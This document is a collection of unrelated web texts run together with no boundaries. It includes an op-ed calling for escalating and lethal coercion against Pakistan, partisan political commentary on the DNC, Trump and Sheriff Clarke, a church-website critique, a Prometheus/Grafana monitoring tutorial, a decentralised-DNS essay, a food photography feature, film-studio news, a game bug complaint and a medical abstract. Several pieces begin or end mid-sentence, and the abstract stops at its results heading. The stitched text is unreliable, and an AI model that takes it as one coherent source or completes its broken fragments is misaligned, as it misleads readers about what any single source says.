Investing in and increasing the Afghan Special Security Forces and the Afghan Air Force to create overmatching offensive capacity, to then build tactical and operational momentum, will help assert influence over key population areas and take away Taliban capacity but it will be short-lived if not coupled with strategic momentum. To break the strategic stalemate, the Coalition should cast off its anxieties and illusions about Pakistan’s potential fragility or comity. After almost 16 years of Pakistan’s duplicity, it is essential to go heavy on sticks and light on carrots with Pakistan. With the support of other major regional actors, sticks will work where carrots, cash, and cajoling have not.
The following steps and demands, escalating from modest to severe, are suggested to break Pakistan of its pathologies and to break the stalemate: 1) stop paying for malice; 2) stop major non-NATO ally status; 3) state intention to make the line of control in Kashmir permanent; 4) shut down ground lines of communications via Pakistan; 5) declare Pakistan the state-sponsor of terrorism that it is; 6) issue one final ultimatum to Pakistan to end the sanctuary and to stop supporting the Taliban; 7) invite Indian Armed Forces into Afghanistan for security operations in the Pashtun east and south; and 8) reciprocate Pakistan’s malice using lethal coercion, both indirectly and directly.
The United States has not devised a Pakistan strategy that uses its substantial resources to modify Pakistan’s loathsome strategic malfeasance. A strategy that does not address that malign influence is no strategy at all. A realizable strategy needs to bring the full weight of the U.S. and regional actors to compel Pakistan to cease supporting the Taliban. The Taliban would have been diminished to a marginal nuisance without the full support that Pakistan rendered to the group in pursuit of its quixotic notion of strategic depth to assert control over Afghanistan. Sanctuary remains the biggest obstacle to the defeat of the Taliban, and it is the reason for the stalemate.
Robert Cassidy, Ph.D., is a retired U.S. Army officer who has written a number of books and articles about irregular war and Afghanistan. He has served in Afghanistan four times, in Iraq, and elsewhere in the Central Command area. The views herein are from the author’s studies and service in the region and do not reflect the views of any of the institutions with which he affiliates.The CEO of the Democratic National Committee has resigned after she got caught cheering on a DNC plot to use Bernie Sanders’ religion against him. The communications director and party chief financial officer also went down Tuesday.
DNC CEO Amy Dacey resigned her position Tuesday. Breitbart News extensively reported on the conflict that led to DNC chair Debbie Wasserman Schultz’s ouster in Philadelphia and her replacement by Donna Brazile, who is less equipped to run the DNC operation against Reince Priebus.
Dacey said “AMEN” to an email from DNC chief financial officer Brad Marshall, who also went down hard Tuesday. Luis Miranda, communications director, also resigned in disgrace.
Marshall’s email read:
It might may no difference, but for KY and WVA can we get someone to ask his belief. Does he believe in a God. He had skated on saying he has a Jewish heritage. I think I read he is an atheist. This could make several points difference with my peeps. My Southern Baptist peeps would draw a big difference between a Jew and an atheist.
Dacey’s “AMEN” may have just spelled her doom.
Politico reports:
Democratic National Committee CEO Amy Dacey resigned Tuesday, sources with knowledge of the move confirm to POLITICO. Dacey is the first senior aide to depart in the wake of last week’s dump of hacked emails to WikiLeaks, though she follows the resignation of DNC chair Debbie Wasserman Schultz on the eve of the Democratic convention.
Other senior aides have been expecting the axe to fall on them too, and there’s a chill around the offices just off Capitol Hill as staffers wait for more resignations or firings. However, many people in the building had not been alerted to Dacey’s departure before the news broke.Advertisements
There was a time, not all that long ago, when the red doors of an Episcopal Church served as its initial point of entry. Americans lived, by and large, in the neighborhoods of their youth. Churches served those neighborhoods and new members came either from Episcopal parents or the rare new family that came to town. There was brand loyalty back then, so if you did find yourself in a new place, you found the red doors at 10am on Sunday, and you went in. Over time, the front door has had different iterations. As Americans became more mobile and technology advanced, the point of entry moved away from the red doors to the Yellow Pages, newspaper ads, and the occasional place mat at the local diner. Today, without question the first point of contact for someone looking for an Episcopal church is its webpage. Whether a simple WordPress site, a Facebook page, or an elaborate web presence, the vast majority of visitors to your church will find you because of a Google search and subsequent review of your website.
Recently, The Domestic and Foreign Missionary Society of the Protestant Episcopal Church in the United States unveiled a new front door. Design decisions are always a matter of taste, so I won’t waste much of your time discussing them, other than to say that the bar was so low after the Dreary Stained Glass Window era that anything would be an improvement. That’s not to say I like the choices they’ve made, but simply that they aren’t resolutely awful. The new website is very mobile friendly, and since more than 50% of internet users access the web via mobile device, this is a very good thing. It has a nice modern look, with good photography and clean lines. Overall, it is very pleasing to the eye, and I applaud the Communications Department for that. And, for what its worth, the giant drop down menus are a neat throw back to when the under construction gif was a thing.
My main issue with the new Episcopal Church website is that for our front door to the world, there is very little about it that makes me certain that my denomination is a Christian Church rather than the newest gym in town. Yes, there is the ubiquitous reference to the Jesus Movement, the Presiding Bishop’s ongoing refrain, but beyond that, what do we see that proves us to be a Christian denomination that lives out its theology by way of common prayer? This Sunday, in the Collect for Proper 19, we will acknowledge before God that without God, nothing we do is pleasing to God. It seems to me, that by and large, this new front door is rather unpleasing.
A quick scroll down the page brings us to an opportunity to give money toward hurricane relief, which is good and necessary, but not any different than the websites of the United Way, CNN, or even Coca-Cola. Moving further down the page, we come to the section titled “New to the Church? Here’s what we value.” In case you don’t believe what I’m going to write next, here’s a screen shot.
There are three enormous flaws in this section.
First and foremost, there is an amazing lack of Jesus in our list of values. In fact, if you look closely, you won’t see the name of our Lord anywhere in our values. The Episcopal Church is indeed a spiritual home, but it is a spiritual home because we believe that Jesus invites us to be members of the Kingdom of Heaven. Evangelism is a priority, but not in the “preach the gospel at all times, when necessary use words,” kind of way. Evangelism, at least according to our Presiding Bishop, is actually telling people about Jesus, about the difference following Jesus makes in our lives, and then inviting other to become disciples. We are committed to things like racial reconciliation and environmental stewardship because of our faith in Christ. Our faith in Jesus is what sets us apart from the Rotary or Bowling Green Women’s Club. Our faith in Jesus should be our core value, and without it, we are lost.
The second flaw comes immediately below the heading. There we find something that looks a lot like a mission statement for the Episcopal Church. You’ll note that Jesus is not a part of our mission, at least according to this particular statement. I pay pretty close attention to what’s happening in the wider church, and like the ill fated scheme to re-brand ourselves as The Missionary Society, this new mission statement caught me by surprise. I’ve seen no press release through ENS. I’ve not noticed the Presiding Bishop mentioning it in any video or publication. I’ve not read about its approval at an Executive Council meeting. Instead, it seems that whoever was assigned the role of revamping the website took it upon themselves to describe the Episcopal Church as “a spiritual home free of judgment and inclusive to all,” and who ever approved its launch didn’t spend a whole lot of time poring over the copy.
Despite what you may have read between the lines in my post on Monday, I am firmly believe that judgment has a place in the church. Paul’s admonition that we ought not pass judgment upon our brothers and sisters doesn’t mean that the church should be a judgment free zone. Instead, Paul argues that we should avoid casting judgement upon one another, only because we all stand in judgment under Christ. The Church, on behalf of and because of Jesus, must be clear in her judgment of sin, both individual and corporate. Our Prayer Book, modeling nearly two centuries of baptismal practice, makes us live this out by requiring three renunciations of evil from baptismal candidates. I know that our Presiding Bishop believes in judgment. He has preached on the evils of racism, xenophobia, and fear-mongering. He is willing to offer a prophetic voice (a term I use intentionally, and rarely) to call the Church and individual Christians into action against the powers and principalities which threaten to corrupt us. The Episcopal Church is not Planet Fitness. There must be judgment here.
My last main issue with the section on our values is the ever-growing list of priorities. Following General Convention, it was clear that two things would occupy our attention during the triennium: Racial Reconciliation and Evangelism. I was on the floor of Convention for every day of legislation. I remember the budget amendment that brought an extra $2.8 million dollars for evangelism. I remember making unequivocal statements against the evils of racism be it by flying the Confederate Flag or committing violence in Emanuel AME Church, and calling for study and prayer that would develop into “Becoming Beloved Community.” At some point in the last two years, Environmental Stewardship was added to create the kind of three-legged stool of priorities that Anglicans adore. I’m honestly not sure how this happened, but I know it didn’t come out of General Convention as a budget or thematic priority. Environmental Stewardship is important, which is why no one has really balked at its ex nihilo addition to the priority list, but like so many other things in the church, it would have been nice if someone had talked about it.
The same goes for Inclusivity, which is apparently the fourth wall in the now also Anglican-friendly quadrilateral of priorities. Again, I’m not going to argue against inclusivity, but I don’t actually believe the Episcopal Church to be “inclusive for all.” I would argue that the story we have told ourselves for too long – the story of our political power as the church of the elite – precludes access to many who would see themselves as something other than a privileged, upper-middle class, white person. I have also personally witnessed the exclusion of people who have prayerfully considered any number of political and theological issues and come down somewhere other than the platform of the Democratic Party. Yes, love will win, as the website borrowed from Rob Bell, but let’s not pretend that love has already won, and that Episcopalians have perfected loving our neighbors as ourselves.
The Episcopal Church has much to offer the world. We have an important voice in sharing the Gospel of Jesus Christ in a way that can be heard just a little bit differently than other interpretations of it. I believe this to be true such that I wrote my DMin thesis about it. I wish, however, that we would be more careful in how we define ourselves. Rather than focusing so hard on not being like some other group that we see as judgmental or exclusive, let’s focus on what we have to offer to the honor and glory of God. We must not be ashamed to be disciples of Jesus Christ, who lived, died, and rose again to save us from our sin, and who will come again to judge the living and the dead. Let’s make sure our front door is an adequate and appropriate representation of who we are, never forgetting that without God, nothing we have to offer, not even a website, will be pleasing to the Lord.Donald Trump won the presidency. He didn’t win America. Arguably, he didn’t really even try.
Part of the ritual of American politics — the performance of the peaceful transfer of power — is the point after the presidential election when the winner reaches across the aisle to the losers, when he (always he) promises to be a president not just for the people who voted for him but for all Americans.
Donald Trump has never had much patience for the rituals of American politics. In general, he’s preferred to play to his most enthusiastic fans. But on occasion, he has made small genuflections to the unifying rhetoric candidates and presidents are expected to engage in.
“Now it is time for America to bind the wounds of division,” he said during his victory speech Tuesday night. “To all Republicans and Democrats and independents across this nation, I say it is time for us to come together as one united people. It is time.”
“I pledge to every citizen of our land that I will be president for all of Americans, and this is so important to me. For those who have chosen not to support me in the past, of which there were a few people, I'm reaching out to you for your guidance and your help so that we can work together and unify our great country.”
The fissures that opened up during Trump’s run for the presidency — fissures he himself helped dig — aren’t going to be healed with a few rhetorical gestures. More than most presidents-elect, Trump would have to make an active and sustained effort to unify America behind him in order to fill the role a president is expected to fill.
How Trump won means a lot for what kind of president he could be
But from the very beginning of his long, improbable campaign, he’s found success by energizing his fans and antagonizing his enemies — indeed, he’s energized his fans by antagonizing his enemies.
Donald Trump will be the very first president of the United States to come into office with neither political nor military experience. But he is not an empty vessel for the policies and ideas of more seasoned politicians, or a mute figurehead for the party that reclaims the White House by electing him.
He is a man who won the vocal loyalty of millions of Americans by promising to make America great again, to protect it from immigration both legal and unauthorized, to restore its traditional Christian values, and to get “criminals” off its streets by empowering police officers to do what they deemed necessary.
Many of the people who voted for Trump may not have voted for him to accomplish these things, or even taken such promises seriously. But the people who love Trump most do.
Trump has always played to the people who love him most. If he’s going to be a president for all Americans, he has to stop.
The America that elected Trump doesn’t look like the America he has to govern
We won’t know the exact contours of the coalition that elected Donald Trump for some time, if ever. But the national exit polls — which projected Trump would lose the popular vote 42 percent to Hillary Clinton’s 45 percent — suggest that the Americans who propelled Trump to the White House were overwhelmingly white.
But this actually understates the gap between the America that elected Trump and the America he’ll have to govern. The population of Americans eligible to vote is more diverse than the population that actually voted (in 2016 or any other election). Americans under 18 are more diverse than those of voting age.
And in meaningful ways, it doesn’t even end there. The president of the United States doesn’t just make policy for American citizens. He makes policy for everyone living within the nation’s borders. And that is a population that is more diverse still.
Even in Trump’s most inclusive rhetoric — his promises to uphold “American values,” to represent all Americans, to start each day as president thinking about the well-being of Americans in places like Ferguson, Missouri — he’s always been promising to defend “Americans” against somebody else. And as often as not, that “somebody else” is within our borders — unauthorized immigrants; Somali refugees in Minnesota; the criminals who supposedly lurk behind every “inner-city” corner.
Those people are also living in America — and are often, by their own definitions, American.
Their exclusion from the coalition that elected Trump isn’t an accident of politics. They did not vote for him. White Americans (even those who didn’t publicly admit to it) found something inspiring or at least acceptable in his message; people of color did not.
They took his policy promises seriously. They believed that he could reinstitute widespread deportations and immigration raids, and restore the daily fear upon millions of parents that they’d be separated from their children. They believed he could help empower police officers to use deadly force without concern that the Department of Justice would investigate their departments. They believed he could encourage the FBI to put Muslim American communities under more scrutiny and make it much, much harder for Muslims elsewhere in the world to come here.
They were right. These things are eminently possible. They would have been possible even if Trump did not have a unified Republican government at the federal level, even if many states weren’t also under Republican leadership. But he does, and they are, and there is nothing to stop him except the belated and relatively easy-to-evade clampdown of the federal judiciary.
The president people of color most fear is also the president Trump’s foremost supporters most expect
To be clear, it is probable that a bunch of people who voted for Trump were not voting for these reasons. In the late days of the campaign, Trump consolidated support from wavering Republicans; party leaders like Paul Ryan campaigned for him as if he were any other Republican, there to rubber-stamp policies the party had agreed to enact long before Trump descended the Trump Tower escalator.
Many of these people probably voted for him despite the divisiveness of his message. Some of them probably didn’t even believe Trump himself was serious about it.
But if there’s one lesson of the improbable election of 2016, it’s that the power of a vocal minority is a very powerful one indeed. And it’s impossible to deny that a lot of people affirmatively turned out to vote for the Trump that Trump himself promised to be.
Since the beginning of Trump’s campaign, he’s inspired a nearly fanatical amount of support from Americans who believe he speaks to them. They think he will Make America Great Again.
These are the people who have robust expectations for a Trump presidency — a vision for what President Trump would be. And they are excited about it.
It might not be wrong to say that Trump’s supporters want to return to an earlier time of American power (and of the power of white people within America). But that slightly and crucially misunderstands what his fans want of him. They don’t want a conservation or even a retrenchment; they want a revolution. They want someone who will tear down what they see as a corrupt and rotting political infrastructure, who will sever the chains that restrain Border Patrol officials or military intelligence officers in the name of human rights or law. They want not just change but liberation.
The Americans who had the most skin in the game agreed on what a Trump presidency would look like — and what a big deal it could be. Those who had less to lose, or gain, disagreed with them. But the choice was not ours to make.
If Donald Trump wants to be a president for all Americans, he will need to stop being everything his supporters loved
Most politicians go through their lives with an eye toward maintaining a majority governing coalition. Given the choice between being liked by |
characterized by high fever and severe respiratory symptoms, may pose a serious human health risk. We are concerned by the sudden emergence of these infections and the potential threat to the human population. An understanding of the source and mode of transmission of these infections, further surveillance, and appropriate counter measures are urgently required.The combination of Prometheus and Grafana is becoming a more and more common monitoring stack used by DevOps teams for storing and visualizing time series data. Prometheus acts as the storage backend and Grafana as the interface for analysis and visualization.
Prometheus collects metrics from monitored targets by scraping metrics from HTTP endpoints on these targets. But what about monitoring Prometheus itself?
Like any server running processes on a host machine, there are specific metrics that need to be monitored such as used memory and storage as well as general ones reporting on the status of the service. Conveniently, Prometheus exposes a wide variety of metrics that can be easily monitored. By adding Grafana as a visualization layer, we can easily set up a monitoring stack for our monitoring stack.
Let’s take a closer look.
Installing Prometheus and Grafana
For this article, I’m using a Dockerized deployment of Prometheus and Grafana that sets up Prometheus, Grafana, cAdvisor, NodeExporter, and alerting with AlertManager.
The default configuration used in this image already defines Prometheus as a job, with a scraping interval of 15 seconds, so the server is set to monitor itself.
- job_name: 'prometheus' scrape_interval: 10s static_configs: - targets: ['localhost:9090']
To install this stack, use these commands:
git clone https://github.com/stefanprodan/dockprom cd dockprom docker-compose up -d
Open up Grafana at http://<serverIP>:3000 and use admin and changeme as the password to access Grafana.
Defining the Prometheus Datasource
Our next step is to define Prometheus as the data source for your metrics. This is easily done by clicking Creating your first datasource.
The configuration for adding Prometheus in Grafana is as follows:
Once added, test and save the new data source.
What to Monitor
Now that we have Prometheus and Grafana set up, we can begin to set up monitoring.
Prometheus ships a number of useful metrics that can be monitored. For example, since Prometheus stores all chunks and series in memory, we can build a panel based on the prometheus_local_storage_memory_chunks and prometheus_local_storage_memory_series metrics.
Based on your RAM, you will want to monitor these panels for any specific thresholds passed. You can fine-tune the amount of RAM using the storage.local.memory-chunks configuration directive, while Prometheus recommends that you have at least three times more RAM available than needed by the memory chunks alone.
To get an overview of how well Prometheus is performing, we can measure the ingestion rate for the samples using the prometheus_local_storage_ingested_samples_total metric. What you need to monitor is whether the rate displayed aligns with a number of metrics you know you are ingesting.
Likewise, it can be useful to monitor the actual amount of time between target scrapes that you have configured for Prometheus using the prometheus_target_interval_length_seconds metric. This will help you to identify latency issues whenever a sudden rise in latency is something that you will want to explore.
Another useful metric to query and visualize is the prometheus_local_storage_chunk_ops_total metric that reports the per-second rate of all storage chunk operations taking place in Prometheus.
Using the Prometheus Stats Dashboard
Grafana comes with a built-in official dashboard for Prometheus called Prometheus Stats that was developed together with the Prometheus team. After you set up Prometheus as the datasource, simply select the Dashboards tab and import the listed dashboard.
As you can see, this dashboard contains the following visualizations (some are similar to the ones described above):
Uptime : The total amount of time since your Prometheus server was started.
: The total amount of time since your Prometheus server was started. Local storage memory series : The current number of series held in memory.
: The current number of series held in memory. Internal storage queue length : Ideally, this queue length should be “empty” (0) or a low number.
: Ideally, this queue length should be “empty” (0) or a low number. Sample ingested : Displays the samples ingested by Prometheus.
: Displays the samples ingested by Prometheus. Target scrapes: Displays the frequency that the target — Prometheus, in this case — is scraped.
A Prometheus Benchmark Dashboard
While designed for benchmarking Prometheus servers, the Prometheus Benchmark dashboard can be used to get a sense of the additional metrics that should be monitored.
To install and use this dashboard, simply go to Dashboards > Import and paste the URL for the dashboard.
While this is probably overkill for the day-to-day monitoring of your instance, this advanced dashboard includes some useful panels that are not displayed in the Prometheus Stats dashboard.
For example, the Memory graph gives you an idea of the memory consumed by Prometheus (same goes for the CPU graph).
The Indexing graph gives you a good picture of the indexing rates for your Prometheus instance.
Endnotes
You can slice and dice the various metrics that Prometheus self-reports about itself any way you want. Prometheus exports a long list of metrics that can be seen by browsing to http://<serverIP>:9090/metrics. You can experiment with the various queries in the graph editor at http://<serverIP>:9090/graph.
So, how you construct your Prometheus monitoring dashboard will ultimately involve quite a lot of trial and error. The good news is that the combination with Grafana makes this exploration extremely easy, and Prometheus has some good built-in functionality to help you along the way.Recently I've stumbled upon an though-provoking article here. What it says is that whatever the benefits of Bitcoin as a distributed currency, the biggest deal is that it provided us with a viable algorithm for reaching consensus in highly distributed global-scale systems. I would also say that actually proving that the algorithm works on global scale in real world is a great and almost unprecedented feat.
The article goes on to hint that the Bitcoin algorithm may be used to fully decentralise domain name system, which sounds like a great idea. As a mental exercise, let's now explore possible implementation and social dynamics of such a system.
Currently, domain names are stored in distributed database called DNS. The domain namespace is split in hierarchical manner and managed by different organisations like ICANN, national domain registrars etc.
The idea of Bitcoin-like domain name system, on the other hand, is that there is no central authority for assigning domain names. Rather, domain names are assigned by distributed consensus, similar to how bitcoins are assigned to individual owners. Bitcoin algorithm is able to prevent double spending (using same Bitcoin to pay twice) and in the same way the domain name system should be able to prevent assigning the same domain name to two different owners.
In other words, imagine that rather than buying your domain name from the central authority you would be able to "mine" it. By spending non-trivial amount of CPU time the domain name would be assigned to you and will become unavailable for others. You would simply download a mining program, enter the domain name you wish to use and let it work for say 24 hours. Next day, you'll have a key to the domain.
The key would entitle you to pair your domain name with an IP address, sign it and publish it. Everyone would be able to independently check whether the name-address pair was signed by the rightful owner of the domain or whether it is a fake.
Now let's think about social dynamics of such system.
First, it solves some real problems:
It would make domain names a real property, not just a temporary license acquired for one year or such. There would be no gatekeepers, like national registrars, who could deny you the domain name, force you through annoying bureaucratic process or ask for expensive registration fees (gTLDs are one a $185,000!) There would be no way to track down the owner of the domain via credit card number used to pay the registrar. In fact, there would be no such payment. There would be no way to hijack domain name (domain seizures, censorship etc.) Infrastructure would be able to distinguish fake domain name entries, interpret them as domain name resolution failures and try to route around them. A court or a political leader won't be able to disappear a domain.
The above means that there's a real value in implementing such a system. The next question is where there is a viable path for gradually migrating existing infrastructure to the new domain system without disrupting the old one (think pf IPv6 deployment problem).
What's needed for successful establishment of the new system is, first, extremely low cost of entry and, second, a motivation to do so even though the system is not widely used yet.
The low cost of entry is the problem IPv6 is struggling with. Deploying IPv6 means that all the old hardware should be be replaced, which is extremely expensive. As for the new domain name system, we could address large portion of the traffic (namely web traffic) using a very simple means with no change to infrastructure whatsoever and thus almost no associated cost.
All that's needed is a web service (or, preferably, several of them) that would resolve a new domain name and redirect the browser to the appropriate IP address. For example, following URL
http://www.dns-resolver.org/my-new-domain-name/web-page.html
could redirect the browser to
http://212.34.77.115/web-page.html
As can be seen there's zero cost for both owner of the domain and for the web-browsing individual. The only cost is in running the resolver service.
Once there are enough websites using the new domain name system, the rest of the infrastructure can be gradually adjusted to support it natively (adding new record types to DNS, enabling non-web-based applications to use new domain names etc.)
The other requirement for successful launch of new domain name system is motivating the early adopters. Fortunately, domain name system seems to have strong inherent motivation for early adoption, as we've seen with introduction of.xxx domains and custom gTLDs. Opening a new namespace results in a "gold rush" where everybody tries to grab the best domain names before everyone else is able to. The fact that the new domain name system has no regulation, no central authority to appeal to and that the domain names are granted for perpetuity makes the urge for rapid land grab even stronger. The nice thing is that people are motivated to grab the domain names even if they don't believe in viability of the new system. They should get the domain names just in case. Imagine what hell of a situation it would be if 'google' domain was owned by Apple or vice versa!
One concern here is that domain squatters may be the first to grab the lucrative domain names and thus cause real companies boycott the whole new naming system. To prevent this problem the algorithm may be shaped in such a way that the shortest domain names would be the most expensive to "mine". For example, while mining for a 10-letter domain name could take 24 hours of CPU time, mining for a 3-letter domain name could take several years.
In conclusion, it looks like implementing a fully decentralised domain name system free of any form of corporate and/or government control is a viable endeavour (what's needed is a couple of programmers and moderate amount of money) and chances of it getting traction and being widely adopted are good. There are some interesting unresolved problems, like handling compromised domain names (key is leaked) and dead domain names (key is lost), but these are in no way show-stoppers and can be resolved as we go.
Martin Sústrik, October 17th, 2012Julia Enaigua, 71, La Paz, Bolivia. Queso Humacha (vegetables and fresh cheese soup). Gabriele Galimberti/Riverboom/INSTITUTE
In honor of Mother’s Day, share a photo on Twitter or Instagram of your grandmother or her signature dish using the hashtag #grandmacooks. Check out our submissions here.
If grandmothers around the world had a rallying cry, it would probably sound something like “You need to eat!”
Photographer Gabriele Galimberti’s grandmother said something similar to him before one of his many globetrotting work trips. To ensure he had at least one good meal, she prepared for him a dish of ravioli before he departed on one of his adventures.
“In that occasion I said to my grandma ‘You know, Grandma, there are many other grandmas around the world and most of them are really good cooks,” Galimberti wrote via email. “I’m going to meet them and ask them to cook for me so I can show you that you don’t have to be worried for me and the food that I will eat!’ This is the way my project was born!”
The project, “Delicatessen With Love”, took Galimberti to 58 countries where he photographed grandmothers with both the ingredients and finished signature dishes.
The photographer’s grandmother Marisa Batini, 80, Castiglion Fiorentino, Italy. Swiss chard and ricotta Ravioli with meat sauce. Gabriele Galimberti/Riverboom/INSTITUTE
Maria Luz Fedric, 53, Cayman Islands. Honduran Iguana with rice and beans. Gabriele Galimberti/Riverboom/INSTITUTE
Serette Charles, 63, Saint-Jean du Sud, Haiti. Lambi in creole sauce. Gabriele Galimberti/Riverboom/INSTITUTE
Galimberti said many of the subjects for the project were selected serendipitously, picked while he was working on a project about couch surfing that explored the global phenomenon of staying in other people’s houses. Since Galimberti never slept in hotels while working on the project, he was able to come into contact with people who introduced him to grandmothers in the area.
“This families always became the way to get in touch with grandmothers, children and all the people that I needed for my other projects like ‘Delicatessen With Love’ and “Toy Stories,” Galimberti wrote.
Galimberti acted as photographer and stylist during each shoot with the grandmothers, taking a portrait of both the women and the food they made for him. “I always do the arrangements by myself,” he explained. “Actually, I don’t remember why I took the first photo like this. I like geometry. My photos are always geometric so it comes natural for me to make order. I like the idea of showing all the single ingredients in the first photo in a way that everybody can recognize and in the second photo I show the result of the recipes where all the ingredients are mixed together!”
Grace Estibero, 82, Mumbai, India. Chicken vindaloo. Gabriele Galimberti/Riverboom/INSTITUTE
Susann Soresen, 81, Homer, Alaska. Moose steak. Gabriele Galimberti/Riverboom/INSTITUTE
Normita Sambu Arap, 65, Oltepessi (Masaai Mara), Kenya. Mboga and orgali (white corn polenta with vegetables and goat). Gabriele Galimberti/Riverboom/INSTITUTE
Galimberti elaborated:
“I like to photograph people and I always like to tell their stories. Every single of my portrait goes together with a story. I always try to put in the photo some elements with a connection with the story that I will write. So, to do this, I need to stage the portrait. I always need hours to make a portrait because I’m a slow photographer. I always talk a lot with my subjects; I need to know something about their life and I need to get some inspiration from them.”
Inara Runtule, 68, Kekava, Latvia. Silke (herring with potatoes and cottage cheese). Gabriele Galimberti/Riverboom/INSTITUTE
The final images in the series also include the recipes for the dishes so the series doubles as an international cookbook, one that has universal appeal.
“It seems like everybody loves this project,” Galimberti explained. “I think it’s because it’s a simple project. Something that everybody can understand and read. It doesn’t talk about photography, it talks about normal people, simple things, food, travel … so, people doesn’t need to have any king of specific knowledge to understand it. I think this is why I had success with it.”
And to make sure his grandmother didn’t worry too much about what her grandson ate during his adventures, Galimberti insisted he didn’t starve while working on the series.
“And yes, I always [sat] at the table with the grandmas and I always tried their food!”
Isolina Perez De Vargas, 83, Mendoza, Argentina. Asado criollo (mixed meats barbecue). Gabriele Galimberti/Riverboom/INSTITUTE
Valagerdur Olafsdòttir, 63, Reykjavìk, Iceland. Kjotsùpa (lamb and vegetables soup). Gabriele Galimberti/Riverboom/INSTITUTE
Fifi Makhmer, 62, Cairo, Egypt. Kuoshry (pasta, rice and legumes pie). Gabriele Galimberti/Riverboom/INSTITUTE
Bisrat Melake, 60, Addis Ababa, Ethiopia. Enjera with curry and vegetables. Gabriele Galimberti/Riverboom/INSTITUTE
In honor of Mother’s Day, share a photo on Twitter or Instagram of your grandmother or her signature dish using the hashtag #grandmacooks. Check out our submissions here.Kathleen Kennedy says that 'Star Wars: Episode VII' is three weeks from completion
With a large chunk of recent Marvel titles having been shot in London and Star Wars: Episode VII still in production at Pinewood Studios, Walt Disney expanded its growing presence in the U.K. capital further on Wednesday with the opening of Industrial Light & Magic’s local studio.
The new London base for the visual effects arm of the conglomerate's Lucasfilm, located in the British capital’s Soho neighborhood, was officially opened on Wednesday night with a ceremony attended by Lucasfilm president Kathleen Kennedy, Industrial Light & Magic president and general manager Lynwen Brennan, U.K. chancellor George Osborne and U.K. culture secretary Ed Vaizey.
According to ILM London's director of operations Sue Lyster, the facility is already working on the effects for Avengers: Age of Ultron, Ant-Man and Star Wars: Episode VII.
Read more U.K.'s Pinewood Shepperton Expects to Start Expansion in Early 2015
Speaking at the event, Kennedy recalled meeting U.K. government representatives in February last year to discuss filming the latest Star Wars in London, revealing that Disney was now just "three weeks off" finishing the film and hinting that further titles in the franchise would be shot in the city.
"This continues a long tradition of Star Wars movies being made in London. It goes back to 1976, and to know that we are now coming back and we will be making the movies once again based out of Pinewood, and now we're looking to put together this studio, it's rather remarkable that this has all come together in less than two years," she said.
"London’s fantastic visual effects industry and rich talent pool made it an ideal location to expand our global footprint," said Brennan in a statement. "Our clients have come to rely on us being able to provide not only top-tier talent, but flexibility in determining how and where their effects work will be done."
Read more 'Avengers: Age of Ultron' Synopsis Teases Robot Villain's Origins
Among new local hires are Academy Award- and BAFTA-winner Ben Morris, who joins ILM London as creative director from U.K.-based Framestore, where he worked on projects including War Horse, Lincoln, The Golden Compass and Gravity. Michael Eames, whose resume boasts four Harry Potter titles, is the studio's animation director, while Kevin Jenkins is the art director and concept artist.I realise this is entirely off kilter etc., but given that there has been no real progress by using the bug report forums, I am hoping you can expedite this issue a little bit, as it'll break PowerPlay beyond belief if it doesn't get fixed immediately.The problem is very simple to explain - it is currently possible to prepare and expand into system that should be exploited. Not only is this extremely bad for powers that are subject to grinders, but it is also extremely bad if/when it gets used by players out to hurt powers.This bug should never have happened in the first place, the bug should have been stopped in its tracks the moment it was picked up from the bug report forum, but instead ALD (not my power, btw) is now expanding into a system that is 6 light years from one of their control systems.Please - if at all possible, walk over to the QA department, grab a senior QA member by the scruff of their neck and threaten them with wet willies until they send it on to a developer to get fixed, and then repeat the wet willy threat with a programmer.I'll accept having only Bragur fixed as a temporary solution, but the entire bug needs to get stomped out of existence as fast as humanly possible.If QA or the developers are unsure of what causes the bug, please don't hesitate to have them contact me. While I don't have access to any of the back end of the game, I'm pretty sure I know what causes it to happen.Pinterest Chip Somodevilla
This is despicable.
Milwaukee County Sheriff David Clarke, who you probably first learned about when he began encouraging violent uprisings against President Obama despite being, you know, a sheriff, has announced that he has accepted a position as an "assistant secretary" in Donald Trump's Department of Homeland Security. Even for a White House that is already well-versed in handing out positions of power to dangerous people who are demonstrably bad at their jobs, Sheriff Clarke's appointment would be a new and despicable low.
Over the past several years, Clarke has parlayed his position as a municipal law enforcement official into bona fide right-wing pseudocelebrity status thanks to his willingness to go on Fox News and recite what sound like mad libs fashioned out of whatever blog posts happen to be leading Breitbart at that moment. He has carefully crafted his image to appeal to a right-wing media audience, rarely making public appearances without his comically oversized, Turd Ferguson-esque cowboy hat—which, given that he's a lifelong resident of Wisconsin, he presumably wears because he learned most of what he knows about what it means to be a "sheriff" from watching other people play them on TV.
Lately, Clarke has made the news in conjunction with the story of Terrill Thomas, a mentally ill inmate in Clarke's jail who died after staff "disciplined" Thomas by shutting off water to his cell for seven days. (He is the fourth person to die in Clarke's custody in the last year.) Thomas lost 35 pounds during that week and reportedly spent his last hours begging for water before dying inside his cell. After the incident was ruled a homicide—"profound dehydration"—Clarke allegedly responded by calling the chief medical examiner and vowing to have his license revoked. Just this month, a grand jury recommended that prosecutors file criminal charges against Clarke's staff. Now, the Trump administration is happily welcoming him into the fold.
Sheriff Clarke likes to portray himself as a no-nonsense, old-school cop, but he's really just a savvy opportunist who sees where political winds are blowing and responds in kind, the responsibility to protect and serve be damned. He is a lightweight version of Joe Arpaio, the disgraced former sheriff of Maricopa County whose swashbuckling tough-guy act ended in a humiliating election defeat last November. (Clarke's departure, incidentally, comes at a time when his approval rating is at 31 percent—worse than Trump!—and 65 percent of respondents think Clarke negatively affects Milwaukee County's image nationwide.) It took the Journal-Sentinel only a few hours after his announcement to post their "good riddance" editorial.
Clearly, he lost interest in being sheriff long ago and was no longer doing the job that voters elected him to do. But before he goes, Clarke owes this community an explanation for the four deaths that occurred in the jail last year. Voters deserve at least that much.
A proven track record of spewing race-baiting bile, encouraging social unrest, and literally killing inmates in your custody would torpedo one's job prospects under any other presidential administration, but for Trump, being "tough on crime," no matter the consequences, is a feature, not a bug.
Watch Now:OBJECTIVES:
Iron and folate malabsorption are common in untreated celiac disease as the proximal small intestine is predominantly affected. Vitamin B12 deficiency is thought to be uncommon, as the terminal ileum is relatively spared. This study aims to investigate the prevalence of vitamin B12, deficiency in patients with untreated celiac disease.
METHODS:
Prospective study of 39 consecutive biopsy-proven celiac disease patients (32 women, seven men; median age 48 yr, range 22-77 yr) between September 1997 and February 1999. The full blood count, serum vitamin B12, red blood cell folate, and celiac autoantibodies (IgA antigliadin and IgA antiendomysium antibodies) were measured before and after a median of 4 months (range 2-13 months) of treatment with a gluten-free diet. In vitamin B12-deficient patients, intrinsic factor antibodies and a Schilling test, part 1, were performed.
RESULTS:
